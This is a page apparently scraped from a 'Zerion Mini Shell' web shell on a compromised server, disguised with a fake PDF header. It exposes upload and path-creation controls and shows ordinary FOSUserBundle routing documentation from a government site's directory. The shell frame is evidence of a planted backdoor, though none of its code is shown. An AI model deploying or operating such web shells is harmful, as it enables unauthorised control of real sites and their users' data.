%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/cursos.tjamich.gob.mx/vendor/friendsofsymfony/user-bundle/Resources/doc/
Upload File :
Create Path :
Current File : /home/tjamichg/cursos.tjamich.gob.mx/vendor/friendsofsymfony/user-bundle/Resources/doc/routing.rst

Advanced routing configuration
==============================

By default, the routing file ``@FOSUserBundle/Resources/config/routing/all.xml`` imports
all the routing files (except groups) and enables all the routes.
In the case you want to enable or disable the different available routes, just use the
single routing configuration files.

.. configuration-block::

    .. code-block:: yaml

        # app/config/routing.yml
        fos_user_security:
            resource: "@FOSUserBundle/Resources/config/routing/security.xml"

        fos_user_profile:
            resource: "@FOSUserBundle/Resources/config/routing/profile.xml"
            prefix: /profile

        fos_user_register:
            resource: "@FOSUserBundle/Resources/config/routing/registration.xml"
            prefix: /register

        fos_user_resetting:
            resource: "@FOSUserBundle/Resources/config/routing/resetting.xml"
            prefix: /resetting

        fos_user_change_password:
            resource: "@FOSUserBundle/Resources/config/routing/change_password.xml"
            prefix: /profile

    .. code-block:: xml

        <!-- app/config/routing.xml -->
        <import resource="@FOSUserBundle/Resources/config/routing/security.xml"/>
        <import resource="@FOSUserBundle/Resources/config/routing/profile.xml" prefix="/profile" />
        <import resource="@FOSUserBundle/Resources/config/routing/registration.xml" prefix="/register" />
        <import resource="@FOSUserBundle/Resources/config/routing/resetting.xml" prefix="/resetting" />
        <import resource="@FOSUserBundle/Resources/config/routing/change_password.xml" prefix="/profile" />

Zerion Mini Shell 1.0